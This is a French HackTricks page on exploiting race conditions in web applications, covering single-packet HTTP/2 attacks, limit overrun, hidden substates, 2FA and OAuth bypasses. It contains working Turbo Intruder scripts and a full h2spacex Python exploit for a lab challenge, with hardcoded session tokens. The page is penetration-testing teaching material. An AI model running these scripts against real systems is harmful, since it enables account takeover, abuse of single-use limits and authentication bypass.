Race Condition

Utilisez Trickest pour construire facilement et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde. Obtenez l'accès aujourd'hui :

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Pour obtenir une compréhension approfondie de cette technique, consultez le rapport original sur https://portswigger.net/research/smashing-the-state-machine

Amélioration des attaques de condition de course

Le principal obstacle pour tirer parti des conditions de course est de s'assurer que plusieurs requêtes sont traitées en même temps, avec très peu de différence dans leurs temps de traitement - idéalement, moins de 1 ms.

Voici quelques techniques pour synchroniser les requêtes :

Attaque en un seul paquet HTTP/2 vs Synchronisation du dernier octet HTTP/1.1

  • HTTP/2 : prend en charge l'envoi de deux requêtes sur une seule connexion TCP, réduisant l'impact du jitter du réseau. Cependant, en raison de variations côté serveur, deux requêtes peuvent ne pas suffire pour une exploitation cohérente de la condition de course.

  • HTTP/1.1 'Synchronisation du dernier octet' : permet l'envoi préalable de la plupart des parties de 20 à 30 requêtes, en retenant un petit fragment, qui est ensuite envoyé ensemble, atteignant une arrivée simultanée au serveur.

La préparation à la synchronisation du dernier octet implique :

  1. Envoi des en-têtes et des données du corps moins le dernier octet sans terminer le flux.

  2. Pause de 100 ms après l'envoi initial.

  3. Désactivation de TCP_NODELAY pour utiliser l'algorithme de Nagle pour regrouper les trames finales.

  4. Ping pour chauffer la connexion.

L'envoi ultérieur des trames retenues devrait entraîner leur arrivée dans un seul paquet, vérifiable via Wireshark. Cette méthode ne s'applique pas aux fichiers statiques, qui ne sont généralement pas impliqués dans les attaques RC.

Adaptation à l'architecture du serveur

Comprendre l'architecture de la cible est crucial. Les serveurs frontaliers peuvent router les requêtes différemment, affectant la synchronisation. Le préchauffage côté serveur, à travers des requêtes insignifiantes, pourrait normaliser le timing des requêtes.

Gestion du verrouillage basé sur la session

Les frameworks comme le gestionnaire de session PHP sérialisent les requêtes par session, ce qui peut potentiellement masquer les vulnérabilités. L'utilisation de jetons de session différents pour chaque requête peut contourner ce problème.

Surmonter les limites de taux ou de ressources

Si le préchauffage de la connexion est inefficace, déclencher intentionnellement les retards de limite de taux ou de ressources des serveurs Web à travers une inondation de requêtes factices pourrait faciliter l'attaque en un seul paquet en induisant un retard côté serveur propice aux conditions de course.

Exemples d'attaque

  • Tubo Intruder - Attaque en un seul paquet HTTP2 (1 point de terminaison) : Vous pouvez envoyer la requête à Turbo Intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder), vous pouvez changer dans la requête la valeur que vous souhaitez forcer pour %s comme dans csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s et ensuite sélectionner le examples/race-single-packer-attack.py dans le menu déroulant :

Si vous allez envoyer des valeurs différentes, vous pourriez modifier le code avec celui-ci qui utilise une liste de mots du presse-papiers :

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

Si le site web ne prend pas en charge HTTP2 (uniquement HTTP1.1), utilisez Engine.THREADED ou Engine.BURP au lieu de Engine.BURP2.

  • Intrus de Tube - Attaque à un seul paquet HTTP2 (Plusieurs points de terminaison): Dans le cas où vous devez envoyer une requête à 1 point de terminaison, puis à plusieurs autres points de terminaison pour déclencher l'exécution de code à distance, vous pouvez modifier le script race-single-packet-attack.py comme suit :

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Il est également disponible dans Repeater via la nouvelle option 'Envoyer le groupe en parallèle' dans Burp Suite.

  • Pour limit-overrun, vous pourriez simplement ajouter la même requête 50 fois dans le groupe.

  • Pour le préchauffage de la connexion, vous pourriez ajouter au début du groupe quelques requêtes vers une partie non statique du serveur web.

  • Pour retarder le processus entre le traitement d'une requête et d'une autre en 2 étapes de sous-états, vous pourriez ajouter des requêtes supplémentaires entre les deux requêtes.

  • Pour un RC à multi-point d'extrémité, vous pourriez commencer à envoyer la requête qui va vers l'état caché puis 50 requêtes juste après qui exploitent l'état caché.

  • Script python automatisé: Le but de ce script est de changer l'e-mail d'un utilisateur tout en le vérifiant continuellement jusqu'à ce que le jeton de vérification du nouvel e-mail arrive au dernier e-mail (car dans le code, il voyait une RC où il était possible de modifier un e-mail mais de faire envoyer la vérification à l'ancien car la variable indiquant l'e-mail était déjà peuplée avec le premier). Lorsque le mot "objetivo" est trouvé dans les e-mails reçus, nous savons que nous avons reçu le jeton de vérification de l'e-mail modifié et nous terminons l'attaque.

# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)




# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Bruteforce Brut

Avant les recherches précédentes, voici quelques charges utiles utilisées qui tentaient simplement d'envoyer les paquets le plus rapidement possible pour provoquer une RC.

  • Répéteur: Consultez les exemples de la section précédente.

  • Intrus: Envoyez la requête à Intrus, définissez le nombre de threads sur 30 dans le menu Options, sélectionnez comme charge utile Charges utiles nulles et générez 30.

  • Turbo Intrus

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio

import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

Méthodologie RC

Dépassement de limite / TOCTOU

Il s'agit du type le plus basique de condition de course où des vulnérabilités apparaissent dans des endroits qui limitent le nombre de fois où vous pouvez effectuer une action. Comme utiliser plusieurs fois le même code de réduction dans une boutique en ligne. Un exemple très simple peut être trouvé dans ce rapport ou dans ce bug.

Il existe de nombreuses variations de ce type d'attaque, notamment :

  • Utiliser plusieurs fois une carte cadeau

  • Noter un produit plusieurs fois

  • Retirer ou transférer de l'argent en excès par rapport à votre solde de compte

  • Réutiliser une solution CAPTCHA unique

  • Contourner une limite de taux anti-brute force

Sous-états cachés

Exploiter des conditions de course complexes implique souvent de profiter de brèves opportunités pour interagir avec des sous-états de machine cachés ou non intentionnels. Voici comment aborder cela :

  1. Identifier les sous-états cachés potentiels

  • Commencez par cibler les points de terminaison qui modifient ou interagissent avec des données critiques, telles que les profils d'utilisateurs ou les processus de réinitialisation de mot de passe. Concentrez-vous sur :

  • Stockage : Privilégiez les points de terminaison qui manipulent des données persistantes côté serveur par rapport à ceux qui gèrent des données côté client.

  • Action : Recherchez des opérations qui modifient des données existantes, plus susceptibles de créer des conditions exploitables par rapport à celles qui ajoutent de nouvelles données.

  • Identification : Les attaques réussies impliquent généralement des opérations basées sur le même identifiant, par exemple, le nom d'utilisateur ou le jeton de réinitialisation.

  1. Effectuer des sondages initiaux

  • Testez les points de terminaison identifiés avec des attaques de condition de course, en observant toute déviation par rapport aux résultats attendus. Des réponses inattendues ou des changements de comportement de l'application peuvent signaler une vulnérabilité.

  1. Démontrer la vulnérabilité

  • Réduisez l'attaque au nombre minimal de requêtes nécessaires pour exploiter la vulnérabilité, souvent juste deux. Cette étape peut nécessiter plusieurs tentatives ou une automatisation en raison de la synchronisation précise impliquée.

Attaques sensibles au temps

La précision dans la synchronisation des requêtes peut révéler des vulnérabilités, notamment lorsque des méthodes prévisibles comme les horodatages sont utilisées pour les jetons de sécurité. Par exemple, générer des jetons de réinitialisation de mot de passe basés sur des horodatages pourrait permettre d'obtenir des jetons identiques pour des requêtes simultanées.

Pour exploiter :

  • Utilisez une synchronisation précise, comme une attaque à un seul paquet, pour effectuer des demandes de réinitialisation de mot de passe simultanées. Des jetons identiques indiquent une vulnérabilité.

Exemple :

  • Demandez deux jetons de réinitialisation de mot de passe en même temps et comparez-les. Des jetons correspondants suggèrent une faille dans la génération de jetons.

Consultez ce laboratoire PortSwigger pour essayer cela.

Études de cas sur les sous-états cachés

Payer et ajouter un article

Consultez ce laboratoire PortSwigger pour voir comment payer dans un magasin et ajouter un article supplémentaire que vous n'aurez pas à payer.

Confirmer d'autres e-mails

L'idée est de vérifier une adresse e-mail et la changer pour une autre en même temps pour savoir si la plateforme vérifie la nouvelle adresse modifiée.

Changer l'e-mail en 2 adresses e-mail basées sur les cookies

Selon cette recherche Gitlab était vulnérable à une prise de contrôle de cette manière car il pourrait envoyer le jeton de vérification d'e-mail d'un e-mail à l'autre e-mail.

Consultez ce laboratoire PortSwigger pour essayer cela.

États cachés de la base de données / Contournement de la confirmation

Si 2 écritures différentes sont utilisées pour ajouter des informations dans une base de données, il y a un court laps de temps où seule la première donnée a été écrite dans la base de données. Par exemple, lors de la création d'un utilisateur, le nom d'utilisateur et le mot de passe peuvent être écrits puis le jeton pour confirmer le compte nouvellement créé est écrit. Cela signifie que pendant un court laps de temps, le jeton pour confirmer un compte est nul.

Par conséquent, enregistrer un compte et envoyer plusieurs requêtes avec un jeton vide (token= ou token[]= ou toute autre variation) pour confirmer le compte immédiatement pourrait permettre de confirmer un compte dont vous ne contrôlez pas l'e-mail.

Consultez ce laboratoire PortSwigger pour essayer cela.

Contourner l'authentification à 2 facteurs

Le pseudo-code suivant est vulnérable à une condition de course car pendant un très court laps de temps, l'authentification à 2 facteurs n'est pas appliquée tandis que la session est créée:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

Persistance éternelle OAuth2

Il existe plusieurs fournisseurs OAuth. Ces services vous permettront de créer une application et d'authentifier les utilisateurs enregistrés par le fournisseur. Pour ce faire, le client devra autoriser votre application à accéder à certaines de leurs données à l'intérieur du fournisseur OAuth. Ainsi, jusqu'ici, il s'agit simplement d'une connexion classique avec google/linkedin/github... où vous êtes invité avec une page disant : "L'application <InsertCoolName> souhaite accéder à vos informations, voulez-vous l'autoriser?"

Course Condition dans authorization_code

Le problème survient lorsque vous l'acceptez et envoie automatiquement un authorization_code à l'application malveillante. Ensuite, cette application abuse d'une Course Condition dans le fournisseur de services OAuth pour générer plus d'un AT/RT (Authentication Token/Refresh Token) à partir du authorization_code pour votre compte. Fondamentalement, elle exploitera le fait que vous avez accepté l'application pour accéder à vos données afin de créer plusieurs comptes. Ensuite, si vous arrêtez d'autoriser l'application à accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides.

Course Condition dans Refresh Token

Une fois que vous avez obtenu un RT valide, vous pourriez essayer de l'exploiter pour générer plusieurs AT/RT et même si l'utilisateur annule les autorisations pour l'application malveillante d'accéder à ses données, plusieurs RT resteront valides.

CC dans les WebSockets

Dans WS_RaceCondition_PoC vous pouvez trouver un PoC en Java pour envoyer des messages websocket en parallèle pour exploiter les Course Conditions également dans les Web Sockets.

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Utilisez Trickest pour construire et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde. Accédez dès aujourd'hui :

Dernière mise à jour